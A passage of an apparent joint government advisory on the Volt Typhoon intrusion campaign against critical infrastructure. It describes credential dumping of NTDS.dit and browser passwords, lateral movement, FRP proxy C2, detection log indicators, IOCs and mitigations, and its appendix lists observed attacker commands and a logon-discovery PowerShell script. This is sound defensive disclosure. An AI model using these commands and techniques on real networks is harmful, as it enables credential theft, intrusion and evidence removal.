) and the command-line port scanning utility ScanLine by packing the files with Ultimate Packer for Executables (UPX) [T1027.002]. FRP client applications support encryption, compression, and easy token authentication and work across multiple protocols—including transmission control protocol (TCP), user datagram protocol (UDP), hypertext transfer protocol (HTTP), and hypertext transfer protocol secure (HTTPS). The FRP client applications use the Kuai connection protocol (KCP) for error-checked and anonymous data stream delivery over UDP, with packet-level encryption support. See Appendix C and CISA Malware Analysis Report (MAR)-10448362-1.v1 for more information.In addition to LOTL and obfuscation techniques, Volt Typhoon actors have been observed selectively clearing Windows Event Logs [T1070.001], system logs, and other technical artifacts to remove evidence [T1070.009] of their intrusion activity and masquerading file names [T1036.005].
Credential Access
Volt Typhoon actors first obtain credentials from public-facing appliances after gaining initial access by exploiting privilege escalation vulnerabilities [T1068] in the operating system or network services. In some cases, they have obtained credentials insecurely stored on the appliance [T1552]. In one instance, where Volt Typhoon likely exploited CVE-2022-42475 in an unpatched Fortinet device, Volt Typhoon actors compromised a domain admin account stored inappropriately on the device.
Volt Typhoon also consistently obtains valid credentials by extracting the Active Directory database file (
NTDS.dit
)—in some cases multiple times from the same victim over long periods [T1003.003].NTDS.dit
contains usernames, hashed passwords, and group memberships for all domain accounts, essentially allowing for full domain compromise if the hashes can be cracked offline.To obtain
NTDS.dit
, the U.S. authoring agencies have observed Volt Typhoon:vssadmin
[T1006] command to create a volume shadow copy;ntdsutil
(a LOTL utility) to copyNTDS.dit
andSYSTEM
registry hive from the volume shadow copy; andNTDS.dit
andSYSTEM
registry hive to crack passwords offline) [T1110.002]. (For more details, including specific commands used, see Appendix A: Volt Typhoon LOTL Activity.)Note: A volume shadow copy contains a copy of all the files and folders that exist on the specified volume. Each volume shadow copy created on a DC includes its
NTDS.dit
and theSYSTEM
registry hive, which provides keys to decrypt theNTDS.dit
file.Volt Typhoon actors have also been observed interacting with a PuTTY application by enumerating existing stored sessions [T1012]. Given this interaction and the exposure of cleartext-stored proxy passwords used in remote administration, Volt Typhoon actors potentially had access to PuTTY profiles that allow access to critical systems (see the Lateral Movement section).
According to industry reporting, Volt Typhoon actors attempted to dump credentials through LSASS (see Appendix B for commands used).[2]
The U.S. authoring agencies have observed Volt Typhoon actors leveraging Mimikatz to harvest credentials, and industry partners have observed Volt Typhoon leveraging Impacket.[2]
Discovery
Volt Typhoon actors have been observed using commercial tools, LOTL utilities, and appliances already present on the system for system information [T1082], network service [T1046], group [T1069] and user [T1033] discovery.
Volt Typhoon uses at least the following LOTL tools and commands for system information, network service, group, and user discovery techniques:
Some observed specific examples of discovery include:
user.dat
, as evidenced by the executed commandGet-EventLog security -instanceid 4624 -after [year-month-date] | fl * | Out-File 'C:userspublicdocumentsuser.dat'
. This indicates the group’s specific interest in capturing successful logon events (event ID4624
) to analyze user authentication patterns within the network. Additionally, file system analysis, specifically of the Master File Table (MFT), uncovered evidence of a separate file,systeminfo.dat
, which was created inC:UsersPublicDocuments
but subsequently deleted [T1070.004]. The presence of these activities suggests a methodical approach by Volt Typhoon actors in collecting and then possibly removing traces of sensitive log information from the compromised system.tasklist /v
to gather a detailed process listing [T1057], followed by executingtaskkill /f /im rdpservice.exe
(the function of this executable is not known).net user
andquser
for user account information [T1087.001].rult3uil.log
on a domain controller inC:WindowsSystem32
. Therult3uil.log
file contained user activities on a compromised system, showcasing a combination of window title information [T1010] and focus shifts, keypresses, and command executions across Google Chrome and Windows PowerShell, with corresponding timestamps.ping
with various IP addresses to check network connectivity [T1016.001] andnet start
to list running services [T1007].See Appendix A for additional LOTL examples.
In one confirmed compromise, Volt Typhoon actors attempted to use Advanced IP Scanner, which was on the network for admin use, to scan the network.
Volt Typhoon actors have been observed strategically targeting network administrator web browser data—focusing on both browsing history and stored credentials [T1555.003]—to facilitate targeting of personal email addresses (see the Reconnaissance section) for further discovery and possible network modifications that may impact the threat actor’s persistence within victim networks.
In one confirmed compromise:
User Data
directory of a network administrator user’s Chrome browser. To obtain the history file, Volt Typhoon actors first executed an RDP session to the user’s workstation where they initially attempted, and failed, to obtain theC$ File Name: users{redacted}appdatalocalGoogleChromeUserDatadefaultHistory
file, as evidenced by the accompanying1016
(reopen failed) SMB error listed in the application event log. The threat actors then disconnected the RDP session to the workstation and accessed the fileC:Users{redacted}DownloadsHistory.zip
. This file presumably contained data from the User Data directory of the user’s Chrome browser, which the actors likely saved in the Downloads directory for exfiltration [T1074]. Shortly after accessing thehistory.zip
file, the actors terminated RDP sessions.C$ File Name: Users{redacted}AppDataLocalGoogleChromeUser DataLocal State
and$ File Name: Users{redacted}AppDataLocalGoogleChromeUser DataDefaultLogin Data
via SMB. The Local State file contains the Advanced Encryption Standard (AES) encryption key [T1552.004] used to encrypt the passwords stored in the Chrome browser, which would enable the actors to obtain plaintext passwords stored in the Login Data file in the Chrome browser.In another confirmed compromise, Volt Typhoon actors accessed directories containing Chrome and Edge user data on multiple systems. Directory interaction was observed over the network to paths such as
C:Users{redacted}AppDataLocalGoogleChromeUser Data
andC:Users{redacted}AppDataLocalMicrosoftEdgeUser Data
. They also enumerated several directories, including directories containing vulnerability testing and cyber related content and facilities data, such as construction drawings [T1083].Lateral Movement
For lateral movement, Volt Typhoon actors have been observed predominantly employing RDP with compromised valid administrator credentials. Note: With a full on-premises Microsoft Active Directory identity compromise (see the Credential Access section), the group may be capable of using other methods such as Pass the Hash or Pass the Ticket for lateral movement [T1550].
In one confirmed compromise of a Water and Wastewater Systems Sector entity, after obtaining initial access, Volt Typhoon actors connected to the network via a VPN with administrator credentials they obtained and opened an RDP session with the same credentials to move laterally. Over a nine-month period, they moved laterally to a file server, a domain controller, an Oracle Management Server (OMS), and a VMware vCenter server. The actors obtained domain credentials from the domain controller and performed discovery, collection, and exfiltration on the file server (see the Discovery and Collection and Exfiltration sections).
Volt Typhoon’s movement to the vCenter server was likely strategic for pre-positioning to OT assets. The vCenter server was adjacent to OT assets, and Volt Typhoon actors were observed interacting with the PuTTY application on the server by enumerating existing stored sessions. With this information, Volt Typhoon potentially had access to a range of critical PuTTY profiles, including those for water treatment plants, water wells, an electrical substation, OT systems, and network security devices. This would enable them to access these critical systems [T1563]. See Figure 2.
Additionally, Volt Typhoon actors have been observed using PSExec to execute remote processes, including the automated acceptance of the end-user license agreement (EULA) through an administrative account, signified by the
accepteula
command flag.Volt Typhoon actors may have attempted to move laterally to a cloud environment in one victim’s network but direct attribution to the Volt Typhoon group was inconclusive. During the period of the their known network presence, there were anomalous login attempts to an Azure tenant [T1021.007] potentially using credentials [T1078.004] previously compromised from theft of
NTDS.dit
. These attempts, coupled with misconfigured virtual machines with open RDP ports, suggested a potential for cloud-based lateral movement. However, subsequent investigations, including password changes and multifactor authentication (MFA) implementations, revealed authentication failures from non-associated IP addresses, with no definitive link to Volt Typhoon.Collection and Exfiltration
The U.S. authoring agencies assess Volt Typhoon primarily collects information that would facilitate follow-on actions with physical impacts. For example, in one confirmed compromise, they collected [TA0009] sensitive information obtained from a file server in multiple zipped files [T1560] and likely exfiltrated [TA0010] the files via Server Message Block (SMB) [T1048] (see Figure 3). Collected information included diagrams and documentation related to OT equipment, including supervisory control and data acquisition (SCADA) systems, relays, and switchgear. This data is crucial for understanding and potentially impacting critical infrastructure systems, indicating a focus on gathering intelligence that could be leveraged in actions targeting physical assets and systems.
In another compromise, Volt Typhoon actors leveraged WMIC to create and use temporary directories (
C:UsersPublicpro
,C:WindowsTemptmp
,C:WindowsTemptmpActive Directory
andC:WindowsTemptmpregistry
) to stage the extractedntds.dit
andSYSTEM
registry hives fromntdsutil
execution volume shadow copies (see the Credential Access section) obtained from two DCs. They then compressed and archived the extractedntds.dit
and accompanying registry files by executingronf.exe
, which was likely a renamed version of the archive utilityrar.exe
) [T1560.001].Command and Control
Volt Typhoon actors have been observed leveraging compromised SOHO routers and virtual private servers (VPS) to proxy C2 traffic. For more information, see DOJ press release U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure).
They have also been observed setting up FRP clients [T1090] on a victim’s corporate infrastructure to establish covert communications channels [T1573] for command and control. In one instance, Volt Typhoon actors implanted the FRP client with filename
SMSvcService.exe
on a Shortel Enterprise Contact Center (ECC) server and a second FRP client with filenameBrightmetricagent.exe
on another server. These clients, when executed via PowerShell [T1059.001], open reverse proxies between the compromised system and Volt Typhoon C2 servers.Brightmetricagent.exe
has additional capabilities. The FRP client can locate servers behind a network firewall or obscured through Network Address Translation (NAT) [T1016]. It also contains multiplexer libraries that can bi-directionally stream data over NAT networks and contains a command-line interface (CLI) library that can leverage command shells such as PowerShell, Windows Management Instrumentation (WMI), and Z Shell (zsh) [T1059.004]. See Appendix C and MAR-10448362-1.v1 for more information.In the same compromise, Volt Typhoon actors exploited a Paessler Router Traffic Grapher (PRTG) server as an intermediary for their FRP operations. To facilitate this, they used the netsh command, a legitimate Windows command, to create a PortProxy registry modification [T1112] on the PRTG server [T1090.001]. This key alteration redirected specific port traffic to Volt Typhoon’s proxy infrastructure, effectively converting the PRTG’s server into a proxy for their C2 traffic [T1584.004] (see Appendix B for details).
DETECTION/HUNT RECOMMENDATIONS
Apply Living off the Land Detection Best Practices
Apply the prioritized detection and hardening best practice recommendations provided in joint guide Identifying and Mitigating Living off the Land Techniques. Many organizations lack security and network management best practices (such as established baselines) that support detection of malicious LOTL activity—this makes it difficult for network defenders to discern legitimate behavior from malicious behavior and conduct behavior analytics, anomaly detection, and proactive hunting. Conventional IOCs associated with the malicious activity are generally lacking, complicating network defenders’ efforts to identify, track, and categorize this sort of malicious behavior. This advisory provides guidance for a multifaceted cybersecurity strategy that enables behavior analytics, anomaly detection, and proactive hunting, which are part of a comprehensive approach to mitigating cyber threats that employ LOTL techniques.
Review Application, Security, and System Event Logs
Routinely review application, security, and system event logs, focusing on Windows Extensible Storage Engine Technology (ESENT) Application Logs. Due to Volt Typhoon’s ability for long-term undetected persistence, network defenders should assume significant dwell time and review specific application event log IDs, which remain on endpoints for longer periods compared to security event logs and other ephemeral artifacts. Focus on Windows ESENT logs because certain ESENT Application Log event IDs (
216
,325
,326
, and327
) may indicate actors copyingNTDS.dit
.See Table 1 for examples of ESENT and other key log indicators that should be investigated. Please note that incidents may not always have exact matches listed in the Event Detail column due to variations in event logging and TTPs.
Event ID (Log)
Event Detail
Description
216 (Windows ESENT Application Log)
A database location change was detected from ‘C:WindowsNTDSntds.dit’ to ‘?GLOBALROOTDevice{redacted}VolumeShadowCopy1WindowsNTDSntds.dit’
A change in the
NTDS.dit
database location is detected. This could suggest an initial step in NTDS credential dumping where the database is being prepared for extraction.325 (Windows ESENT Application Log)
The database engine created a new database (2, C:WindowsTemptmpActive Directoryntds.dit).
Indicates creation of a new
NTDS.dit
file in a non-standard directory. Often a sign of data staging for exfiltration. Monitor for unusual database operations in temp directories.637 (Windows ESENT Application Log)
C:WindowsTemptmpActive Directoryntds.jfm-++- (0) New flush map file “C:WindowsTemptmpActive Directoryntds.jfm” will be created to enable persisted lost flush detection.
A new flush map file is being created for
NTDS.dit
. This may suggest ongoing operations related to NTDS credential dumping, potentially capturing uncommitted changes to theNTDS.dit
file.326 (Windows ESENT Application Log)
NTDS-++-12460,D,100-++–++-1-++-
C:$SNAP_{redacted}_VOLUMEC$WindowsNTDSntds.dit-++-0-++- [1] The database engine attached a database. Began mounting of C:WindowsNTDSntds.dit file created from volume shadow copy process
Represents the mounting of an
NTDS.dit
file from a volume shadow copy. This is a critical step in NTDS credential dumping, indicating active manipulation of a domain controller’s data.327 (Windows ESENT Application Log)
C:WindowsTemptmpActive Directoryntds.dit-++-1-++- [1] The database engine detached a database (2, C:WindowsTemptmpActive Directoryntds.dit). Completion of mounting of ntds.dit file to C:WindowsTemptmpActive Director
The detachment of a database, particularly in a temp directory, could indicate the completion of a credential dumping process, potentially as part of exfiltration preparations.
21 (Windows Terminal Services Local Session Manager Operational Log)
Remote Desktop Services: Session logon succeeded: User: {redacted}{redacted} Session ID: {redacted} Source Network Address: {redacted}
Successful authentication to a Remote Desktop Services session.
22 (Windows Terminal Services Local Session Manager Operational Log)
Remote Desktop Services: Shell start notification received: User: {redacted}{redacted} Session ID: {redacted} Source Network Address: {redacted}
Successful start of a new Remote Desktop session. This may imply lateral movement or unauthorized remote access, especially if the user or session is unexpected.
23 (Windows Terminal Services Local Session Manager Operational Log)
Remote Desktop Services: Session logoff succeeded: User: {redacted}{redacted} Session ID: {redacted}
Successful logoff of Remote Desktop session.
24 (Windows Terminal Services Local Session Manager Operational Log)
Remote Desktop Services: Session has been disconnected: User: {redacted}{redacted} Session ID: {redacted} Source Network Address: {redacted}
Remote Desktop session disconnected by user or due to network connectivity issues.
25 (Windows Terminal Services Local Session Manager Operational Log)
Remote Desktop Services: Session reconnection succeeded: User: {redacted}{redacted} Session ID: {redacted} Source Network Address: {redacted}
Successful reconnection to a Remote Desktop Services session. This may imply lateral movement or unauthorized remote access, especially if the user or session is unexpected.
1017 (Windows System Log)
Handle scavenged.
Share Name: C$
File Name:
users{redacted}downloadsHistory.zip Durable: 1 Resilient or Persistent: 0 Guidance: The server closed a handle that was previously reserved for a client after 60 seconds.
Indicates the server closed a handle for a client. While common in network operations, unusual patterns or locations (like
History.zip
in a user’s downloads) may suggest data collection from a local system.1102 (Windows Security Log)
All
All Event ID
1102
entries should be investigated as logs are generally not cleared and this is a known Volt Typhoon tactic to cover their tracks.Monitor and Review OT System Logs
Review CISA’s Recommended Cybersecurity Practices for Industrial Control Systems and the joint advisory, NSA and CISA Recommend Immediate Actions to Reduce Exposure Across all Operational Technologies and Control Systems, for further OT system detection and mitigation guidance.
Use gait to Detect Possible Network Proxy Activities
Use gait[4] to detect network proxy activities. Developed by Sandia National Labs, gait is a publicly available Zeek[5] extension. The gait extension can help enrich Zeek’s network connection monitoring and SSL logs by including additional metadata in the logs. Specifically, gait captures unique TCP options and timing data such as a TCP, transport layer security (TLS), and Secure Shell (SSH) layer inferred round trip times (RTT), aiding in the identification of the software used by both endpoints and intermediaries.
While the gait extension for Zeek is an effective tool for enriching network monitoring logs with detailed metadata, it is not specifically designed to detect Volt Typhoon actor activities. The extension’s capabilities extend to general anomaly detection in network traffic, including—but not limited to—proxying activities. Therefore, while gait can be helpful in identifying tactics similar to those used by Volt Typhoon, such as proxy networks and FRP clients for C2 communication, not all proxying activities detected by using this additional metadata are necessarily indicative of Volt Typhoon presence. It serves as a valuable augmentation to current security stacks for a broader spectrum of threat detection.
For more information, see Sandia National Lab’s gait GitHub page sandialabs/gait: Zeek Extension to Collect Metadata for Profiling of Endpoints and Proxies.
Review Logins for Impossible Travel
Examine VPN or other account logon times, frequency, duration, and locations. Logons from two geographically distant locations within a short timeframe from a single user may indicate an account is being used maliciously. Logons of unusual frequency or duration may indicate a threat actor attempting to access a system repeatedly or maintain prolonged sessions for the purpose of data extraction.
Review Standard Directories for Unusual Files
Review directories, such as
C:windowstemp
andC:userspublic
, for unexpected or unusual files. Monitor these temporary file storage directories for files typically located in standard system paths, such as theSystem32
directory. For example, Volt Typhoon has been observed downloadingcomsvcs.dll
to a non-standard folder (this file is normally found in theSystem32
folder).INCIDENT RESPONSE
If compromise, or potential compromise, is detected, organizations should assume full domain compromise because of Volt Typhoon’s known behavioral pattern of extracting the
NTDS.dit
from the DCs. Organizations should immediately implement the following immediate, defensive countermeasures:Guest
,HelpAssistant
,DefaultAccount
,System
,Administrator
, andkbrtgt
. Thekbrtgt
account is responsible for handling Kerberos ticket requests as well as encrypting and signing them. Thekbrtgt
account should be reset twice because the account has a two-password history. The first account reset for thekbrtgt
needs to be allowed to replicate prior to the second reset to avoid any issues. See CISA’s Eviction Guidance for Networks Affected by the SolarWinds and Active Directory/M365 Compromise for more information. Although tailored to FCEB agencies compromised in the 2020 SolarWinds Orion supply chain compromise, the steps are applicable to organizations with Windows AD compromise.For more information on incident response and remediation, see:
MITIGATIONS
These mitigations are intended for IT administrators in critical infrastructure organizations. The authoring agencies recommend that software manufactures incorporate secure by design and default principles and tactics into their software development practices to strengthen the security posture for their customers.
For information on secure by design practices that may protect customers against common Volt Typhoon techniques, see joint guide Identifying and Mitigating Living off the Land Techniques and joint Secure by Design Alert Security Design Improvements for SOHO Device Manufacturers.
For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.
The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of Volt Typhoon activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
IT Network Administrators and Defenders
Harden the Attack Surface
Secure Credentials
Secure Accounts
Secure Remote Access Services
Secure Sensitive Data
Implement Network Segmentation
Secure Cloud Assets
Be Prepared
OT Administrators and Defenders
CONTACT INFORMATION
US organizations: To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact:
Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
Canadian organizations: Report incidents by emailing CCCS at contact@cyber.gc.ca.
New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.
United Kingdom organizations: Report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
REFERENCES
[1] fofa
[2] Microsoft: Volt Typhoon targets US critical infrastructure with living-off-the-land techniques
[3] GitHub – fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet
[4] GitHub – sandialabs/gait: Zeek Extension to Collect Metadata for Profiling of Endpoints and Proxies
[5] The Zeek Network Security Monitor
RESOURCES
Microsoft: Volt Typhoon targets US critical infrastructure with living-off-the-land techniques
Secureworks: Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations
DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. The authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the authoring agencies.
ACKNOWLEDGEMENTS
Fortinet and Microsoft contributed to this advisory.
VERSION HISTORY
February 7, 2024: Initial Version.
APPENDIX A: VOLT TYPHOON OBSERVED COMMANDS / LOTL ACTIVITY
See Table 2 and Table 3 for Volt Typhoon commands and PowerShell scripts observed by the U.S. authoring agencies during incident response activities. For additional commands used by Volt Typhoon, see joint advisory People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection.
Command/Script
Description/Use
Get-EventLog security -instanceid 4624 -after {redacted date} | fl * | Out-File ‘C:userspublicdocumentsuser.dat’
PowerShell command extracts security log entries with the Event ID
4624
after a specified date. The output is formatted (fl *
) and saved touser.dat
. Potentially used to analyze logon patterns and identify potential targets for lateral movement.Get-EventLog security -instanceid 4624 | Where-Object {$_.message.contains(‘{redacted user account}’)} | select -First 1 | fl *
PowerShell command extracts security log entries with the Event ID
4624
and filters them to include only those containing a specific user account, selecting the first instance of such an event.wminc process get name,processid
Appears to be an attempt to use the wmic command but with a misspelling (
wminc
instead ofwmic
). This command, as it stands, would not execute successfully and would return an error in a typical Windows environment. This could indicate a mistake made during manual input.wmic process get name,processid
WMI command lists all running processes with process names and process IDs. Potentially used to find process IDs needed for other operations, like memory dumping.
tasklist /v
Command displays detailed information about currently running processes, including the name, PID, session number, and memory usage.
taskkill /f /im rdpservice.exe
Command forcibly terminates the process
rdpservice.exe
. Potentially used as a cleanup activity post-exploitation.ping -n 1 {redacted IP address}
Command sends one ICMP echo request to a specified IP address.
ping -n 1 -w 1 {redacted IP address}
Command sends one ICMP echo request to a specified IP address with a timeout (
-w
) of 1 millisecond.net user
Lists all user accounts on the local machine or domain, useful for quickly viewing existing user accounts.
quser
query user
Displays information about user sessions on a system, aiding in identifying active users or sessions.
net start
Lists all active services.
cmd
Opens a new instance of the command prompt.
cd [Redacted Path]
Changes the current directory to a specified path, typically for navigating file systems.
Remove-Item .Thumbs.db
PowerShell command to delete the
Thumbs.db
file, possibly for cleanup or removing traces.move .Thumbs.db ttt.dat
Relocates and renames the file
Thumbs.db
in the current directory tottt.dat
within the same directory.del .Thumbs.db /f /s /q
Force deletes
Thumbs.db
files from the current directory and all subdirectories, part of cleanup operations to erase traces.del ??
Deletes files with two-character names, potentially a targeted cleanup command.
del /?
Displays help information for the
del
command.exit
Terminates the command prompt session.
ipconfig
Retrieves network configuration details, helpful for discovery and mapping the victim’s network.
net time /dom
Queries or sets the network time for a domain, potentially used for reconnaissance or to manipulate system time.
netstta -ano
Intended as
netstat -ano
; a mistyped command indicating a potential operational error.netstat -ano
Lists active network connections and processes, helpful for identifying communication channels and potential targets.
type .Notes.txt
Displays the contents of
Notes.txt
, possibly used for extracting specific information or intelligence gathering.logoff
Logs off the current user session.
Script name and location
Contents
Description/Use
C:{redacted}
logins.ps1
# Find DC list from Active Directory
$DCs = Get-ADDomainController -Filter *
# Define time for report (default is 1 day)
$startDate = (get-date).AddDays(-1)
# Store successful logon events from security logs with the specified dates and workstation/IP in an array
foreach ($DC in $DCs){
$slogonevents = Get-Eventlog -LogName Security -ComputerName $DC.Hostname -after $startDate | where {$_.eventID -eq 4624 }}
# Crawl through events; print all logon history with type, date/time, status, account name, computer and IP address if user logged on remotely
foreach ($e in $slogonevents){
# Logon Successful Events
# Local (Logon Type 2)
if (($e.EventID -eq 4624 ) -and ($e.ReplacementStrings[8] -eq 2)){
write-host “Type: Local Logon`tDate: “$e.TimeGenerated “`tStatus: Success`tUser: “$e.ReplacementStrings[5] “`tWorkstation: “$e.ReplacementStrings[11]
}
# Remote (Logon Type 10)
if (($e.EventID -eq 4624 ) -and ($e.ReplacementStrings[8] -eq 10)){
write-host “Type: Remote Logon`tDate: “$e.TimeGenerated “`tStatus: Success`tUser: “$e.ReplacementStrings[5] “`tWorkstation: “$e.ReplacementStrings[11] “`tIP Address: “$e.ReplacementStrings[18]
}}
The script is designed for user logon discovery in a Windows Active Directory environment. It retrieves a list of DCs and then queries security logs on these DCs for successful logon events (Event ID 4624) within the last day. The script differentiates between local (Logon Type 2) and remote (Logon Type 10) logon events. For each event, it extracts and displays details including the logon type, date/time of logon, status, account name, and the workstation or IP address used for the logon. Volt Typhoon may be leveraging this script to monitor user logon activities across the network, potentially to identify patterns, gather credentials, or track the movement of users and administrators within the network.
APPENDIX B: INDICATORS OF COMPROMISE
See Table 4 for Volt Typhoon IOCs obtained by the U.S. authoring agencies during incident response activities.
Note: See MAR-10448362-1.v1 for more information on this malware.
File Name
Description
MD5
Hashes (SHA256)
BrightmetricAgent.exe
The file is an FRP that could be used to reveal servers situated behind a network firewall or obscured through Network Address Translation (NAT).
fd41134e8ead1c18ccad27c62a260aa6
edc0c63065e88ec96197c8d7a40662a15a812a9583dc6c82b18ecd7e43b13b70
SMSvcService.exe
The file is a Windows executable “FRPC” designed to open a reverse proxy between the compromised system and the threat actor(s) C2 server.
b1de37bf229890ac181bdef1ad8ee0c2
99b80c5ac352081a64129772ed5e1543d94cad708ba2adc46dc4ab7a0bd563f1
APPENDIX C: MITRE ATT&CK TACTICS AND TECHNIQUES
See Table 5 through Table 17 for all referenced threat actor tactics and techniques in this advisory.
Reconnaissance
Technique Title
ID
Use
Gather Victim Host Information
T1592
Volt Typhoon conducts extensive pre-compromise reconnaissance. This includes web searches, including victim-owned sites, for victim host, identity, and network information, especially for information on key network and IT administrators.
Gather Victim Identity Information
T1589
Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization’s staff.
Gather Victim Identity Information: Email Addresses
T1589.002
Volt Typhoon targets the personal emails of key network and IT staff.
Gather Victim Network Information
T1590
Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization’s network.
Gather Victim Org Information
T1591
Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization.
Search Open Websites/Domains
T1593
Volt Typhoon conducts extensive pre-compromise reconnaissance. This includes web searches, including victim-owned sites, for victim host, identity, and network information, especially for information on key network and IT administrators.
Search Victim-Owned Websites
T1594
Volt Typhoon conducts extensive pre-compromise reconnaissance. This includes web searches, including victim-owned sites, for victim host, identity, and network information, especially for information on key network and IT administrators.
Resource Development
Technique Title
ID
Use
Acquire Infrastructure: Botnet
T1583.003
Volt Typhoon uses multi-hop proxies for command-and-control infrastructure. The proxy is typically composed of Virtual Private Servers (VPSs) or small office/home office (SOHO) routers.
Compromise Infrastructure: Botnet
T1584.005
Volt Typhoon used Cisco and NETGEAR end-of-life SOHO routers implanted with KV Botnet malware to support their operations.
Compromise Infrastructure: Server
T1584.004
Volt Typhoon has redirected specific port traffic to their proxy infrastructure, effectively converting the PRTG’s Detection Guidance server into a proxy for their C2 traffic.
Develop Capabilities: Exploits
T1587.004
Volt Typhoon uses publicly available exploit code, but is also adept at discovering and exploiting vulnerabilities as zero days.
Obtain Capabilities: Exploits
T1588.005
Volt Typhoon uses publicly available exploit code, but is also adept at discovering and exploiting vulnerabilities as zero days.
Initial Access
Technique Title
ID
Use
Exploit Public-Facing Application
T1190
Volt Typhoon commonly exploits vulnerabilities in networking appliances such as Fortinet, Ivanti (formerly Pulse Secure), NETGEAR, Citrix, and Cisco.
External Remote Services
T1133
Volt Typhoon often uses VPN sessions to securely connect to victim environments, enabling discreet follow-on intrusion activities.
Execution
Technique Title
ID
Use
Command and Scripting Interpreter
T1059
Volt Typhoon uses hands-on-keyboard execution for their malicious activity via the command-line.
Command and Scripting Interpreter: PowerShell
T1059.001
Volt Typhoon has executed clients via PowerShell.
Command and Scripting Interpreter: Unix Shell
T1059.004
Volt Typhoon has used
Brightmetricagent.exe
, which contains multiplexer libraries that can bi-directionally stream data over through NAT networks and contains a command-line interface (CLI) library that can leverage command shells such as PowerShell, Windows Management, Instrumentation (WMI), and Z Shell (zsh).Windows Management Instrumentation
T1047
Volt Typhoon has used Windows Management Instrumentation Console (WMIC) commands.
Persistence
Technique Title
ID
Use
Valid Accounts
T1078
Volt Typhoon primarily relies on valid credentials for persistence.
Privilege Escalation
Technique Title
ID
Use
Exploitation for Privilege Escalation
T1068
Volt Typhoon first obtains credentials from public-facing appliances after gaining initial access by exploiting privilege escalation vulnerabilities in the operating system or network services.
Defense Evasion
Technique Title
ID
Use
Direct Volume Access
T1006
Volt Typhoon has executed the Windows-native
vssadmin
command to create a volume shadow copy.Indicator Removal: Clear Persistence
T1070.009
Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity and masquerading file names.
Indicator Removal: Clear Windows Event Logs
T1070.001
Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity and masquerading file names.
Indicator Removal: File Deletion
T1070.004
Volt Typhoon created
systeminfo.dat
inC:UsersPublicDocuments
, but subsequently deleted it.Masquerading: Match Legitimate Name or Location
T1036.005
Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity and masquerading file names.
Modify Registry
T1112
Volt Typhoon has used the
netsh
command, a legitimate Windows command, to create a PortProxy registry modification on the PRTG server.Obfuscated Files or Information: Software Packing
T1027.002
Volt Typhoon has obfuscated FRP client files (
BrightmetricAgent.exe
andSMSvcService.exe
) and the command-line port scanning utility ScanLine by packing the files with Ultimate Packer for Executables (UPX).System Binary Proxy Execution
T1218
Volt Typhoon uses hands-on-keyboard activity via the command-line and use other native tools and processes on systems (often referred to as “LOLBins”), known as LOTL, to maintain and expand access to the victim networks.
Credential Access
Technique Title
ID
Use
Brute Force: Password Cracking
T1110.002
Volt Typhoon has exfiltrated
NTDS.dit
andSYSTEM
registry hive to crack passwords offline.Credentials from Password Stores
T1555
Volt Typhoon has installed browsers saved passwords history, credit card details, and cookies.
Credentials from Password Stores: Credentials from Web Browsers
T1555.003
Volt Typhoon has strategically targeted network administrator web browser data, focusing on both browsing history and stored credentials.
OS Credential Dumping: LSASS Memory
T1003.001
Volt Typhoon used a DLL with
MiniDump
and the process ID of Local Security Authority Subsystem Service (LSASS) to dump the LSASS process memory and obtain credentials.OS Credential Dumping: NTDS
T1003.003
Volt Typhoon appears to prioritize obtaining valid credentials by extracting the Active Directory database file (
NTDS.dit
).Unsecured Credentials
T1552
Volt Typhoon has obtained credentials insecurely stored on an appliance.
Unsecured Credentials: Private Keys
T1552.004
Volt Typhoon has accessed a Local State file that contains the Advanced Encryption Standard (AES) encryption key used to encrypt the passwords stored in the Chrome browser, which enables the actors to obtain plaintext passwords stored in the Login Data file in the Chrome browser.
Discovery
Technique Title
ID
Use
Account Discovery: Local Account
T1087.001
Volt Typhoon executed
net user
andquser
for user account information.Application Window Discovery
T1010
Volt Typhoon created and accessed a file named
rult3uil.log
on a Domain Controller inC:WindowsSystem32
. Therult3uil.log
file contained user activities on a compromised system, showcasing a combination of window title information and focus shifts, keypresses, and command executions across Google Chrome and Windows PowerShell, with corresponding timestamps.Browser Information Discovery
T1217
Volt Typhoon has installed browsers saved passwords history, credit card details, and cookies.
File and Directory Discovery
T1083
Volt Typhoon enumerated several directories, including directories containing vulnerability testing and cyber related content and facilities data, such as construction drawings.
Log Enumeration
T1654
Volt Typhoon has captured successful logon events.
Network Service Discovery
T1046
